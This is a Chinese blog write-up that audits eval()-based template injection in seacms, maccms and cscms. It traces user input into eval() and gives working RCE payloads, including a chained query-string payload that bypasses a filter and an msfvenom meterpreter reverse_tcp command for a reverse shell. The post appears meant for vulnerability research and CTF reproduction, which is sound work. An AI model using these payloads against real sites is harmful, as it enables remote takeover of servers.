这篇文章发表于 1155 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
这里是关于php语言SSTI漏洞的文章。既然是模板注入,那么对于php语言来说,很危的必然是eval
——注意它是语言解释器而不是函数!
所以接下来审计的第一步都是搜索eval
,然后再一点点找到用户可控的位置。这在思路上可能和Smarty
和Twig
模板这种题所考察的侧重点有所不同,这些可能侧重于绕过,但我们接下来谈到的侧重于原理。
seacms_v6.53
这是我提供的环境。
于是这里首先搜索eval
的位置。这里安利一下Kunlun-M
代码审计工具。
发现所有的eval
都在parseIf
函数中,而且都形如@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
,从这条语句来看,只要控制住了$strIf
即可完成攻击,但这个变量来自于哪里呢?
1 | function parseIf($content){ |
可见是parseIf
函数调用的参数$content
经过正则匹配替换之后进入到了危险位置。不考虑其他的,像{if:system("id")}anything{end if}
这种应该就可以作为payload来使用。因此正则这部分看起来构造一个payload还是挺容易的,所以继续寻找哪里能够传入相关的参数,因此继续寻找调用parseIf
函数的位置。
似乎这些*.php
文件对这个函数的调用较多,随便看了两个文件,发现这里cms传入参数的方法主要是$_GET
,$_POST
和$_REQUEST
,因此我们尝试直接用正则匹配找到可能的入口。
我们来看看以上两张图中哪些文件名是重复的,只有gbook.php
和search.php
。我们先来看看gbook.php
里面的那个leaveWordList
函数究竟做了些什么。
1 | function leaveWordList($currentPage){ |
gbook.php
里面的leaveWordList
函数导致从这里传入的字符串参数会被强制转换成0
,然后在比较之后被很糟糕地赋值为1
,也就是说基本不可能控制这里的内容。所以接下来我们来看这个search.php
里面的内容,其中控制输入的主要代码如下:
1 | $schwhere = ''; |
通过?searchword=anyword
我们可以控制传入的$searchword
,然后继续观察传入的$searchword
在被传入parseIf
函数之前还经历了什么。
1 | function echoSearchPage() |
看来这部分功能主要就是替换掉了cascade.html
里面形如{seacms:searchword}
的内容,然后再将结果呈现给浏览网站的客户。到目前为止,$searchword
这个重要的变量完全可控,但我们能直接传入像eval($_POST['a'])
这样的payload吗?
别忘了$searchword
主要就经过了RemoveXSS
函数过滤和长度限制20的要求,接下来看看都过滤了什么东西。
不是很想看后面究竟干了些什么……所以我直接修改search.php
然后通过调试发现这个RemoveXSS
函数大概就在这些敏感字里面加上了<x>
来实现对其的破坏,请注意这里的敏感字还包括了if:
。
简单试了试,发现想在20个字符的限制下完成对RemoveXSS
函数的绕过貌似比较困难。另外,如果你还记得之前eval
附近正则处理的话(从刚刚的过滤来看,我们不可能注入形如{if:pp}qq{end if}
的payload,因为会将其转为{if<x>:pp}qq{end if}
这样的内容),这种正常或者说很直接的攻击想法实在是难上加难。
但是我们刚刚在看代码的时候也注意到了,这里可控的参数不止一个,还有$jq
,$area
,$year
,$yuyan
,$letter
,$state
,$ver
,$money
和$order
等等,尽管它们都有着相同的过滤规则,只要将其合理地拆分,就能够将能够执行命令的代码完整地拼接出来。而且这里的替换是存在顺序的,什么顺序呢?其实在search.php
中已经完全告诉我们了。
这样我们已经能够构造出相应的payload了,比如可以将{if:eval($_POST['a'])}{end if}
按照以下的方法传入:searchtype=5&searchword={if{searchpage:year}&year=:ev{searchpage:area}&area=a{searchpage:letter}&letter=l({searchpage:lang}}&yuyan=$_P{searchpage:jq}if&jq=OS{searchpage:ver}&ver=T[1])}{end &1=phpinfo();
如何理解这个payload呢?很简单,就像链子一样挨个填进去即可:
1 | ver => T[1])}{end |
要注意的是源码里的参数和变量名未必相同,没仔细看的话会有点坑2333……
OK我们最后再来回顾一下整个流程,首先前台拥有可控的变量,然后在对模板进行渲染的时候拼接字符串并形成了具备攻击能力的payload,最后eval
造成了RCE。
maccms_v8.x
这是我提供的环境。
同样是先找eval
,之前安利的Kunlun-M
貌似在这里不太好用,所以这里安利一下sonarqube
代码审计工具。发现所有的eval
都在template.php
里面,更有意思的是我们发现这里的代码似乎就是刚刚在seacms
里面看到的,不知道谁借鉴了谁还是两个框架是同个人写的……好吧也可能恰好是一种共同的想法。
1 | function ifex() |
经过简单的筛选,我们找到了template.php
里面的ifex
函数,其中的$this->H
看起来就是应该被控制的变量,那么我们该怎么控制呢?
简单调试了一下,发现$tpl->P['wd']
这个变量可以通过POST wd
来传入,并且我们在inc/module/vod.php
的96行附近找到了相应的操作。另外,$this->H
就是即将要被渲染的网页源代码。到这里你能想到什么?
如果你直接搜索$this->H = str_replace(
,最后的替换点能够被直接发现!正好有一个结果是在vod.php
的search
方法中。那么现在我们可以向/index.php?m=vod-search
直接POST
一个wd=asdffdsa
的数据包来验证这个是否为我们所需要的控制点。
这里还没有长度限制这些的,所以接下来的操作非常简单——只要用ifex
中的正则匹配将希望执行的内容传入eval
的参数里面即可。接下来POST
的内容为{if-aaa:bbb}ccc{endif-aaa}
。
发现最后会执行到的内容是bbb
,因此最终的payload可以为{if-aaa:eval($_POST[1])}ccc{endif-aaa}
。
cscms_v4.1.7
很想复现2019年强网杯的cscms
这道题,但是网上没有源码了,找了半天终于找到了这个版本的cscms
来进行复现。这里是我提供的环境。
首先发现这个网站想注册都注册不了因为没有验证码(懒得修了),而后台控制页面我们假定不能登录。
和刚刚的想法类似,首先找到了cscms/app/models/Csskins.php
这个文件里面的labelif
函数:
1 | //if标签处理 |
很好,简直和刚刚的例子一毛一样……然后我们需要去寻找$Mark_Text
该如何传入。搜索后发现只有一个地方调用了它,就是同一个文件的template_parse
函数,调用的语句是这样的:if($if) $str=$this->labelif($str);
,因此我们需要知道$str
能否被控制。经过简单调试,发现$str
就是html模板的内容。
查找template_parse
,发现这里的东西大多需要注册后才能够进行进一步的操作,因此跳过了不少地方,最终在cscms/app/models/Cstpl.php
的gbook_list
函数里面发现了一处可行的调用。看起来这是一个将评论列出来的功能页面,但那个评论区在哪里?
找到了,然后我们随便发条消息再调试下。
这说明只要在那个评论区符合那个正则的payload即可完成攻击,但是我输入{if:eval($_POST[1])}eval($_POST[1]){end if}
,发现被网站一直在转圈圈……看起来被过滤了,接下来就看看它是如何过滤的以及该怎么绕过。
一番搜索之后发现在plugins/sys/Gbook.php
里面的add
函数中有着一个过滤filter
,然而虚晃一枪,原来是过滤脏话的2333……之后又发现其实只是该网站因为有token所以不刷新就无法重复提交——事实上,服务器因为刚刚这个payload产生了假死。
破案了,原来是把括号改成了HTML实体编码。可是经过简单试验,发现直接留言括号并没有这样的编码效果,很神奇,所以干脆就认为括号直接被过滤了吧,反正也能直接绕过这个奇怪的过滤。其他文章可能利用了其他的漏洞点。但这里就用了我最开始写在文件注释里的一个技巧,最终的一个payload如下:
这里的shell.php
是通过命令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f raw > shell.php
生成的。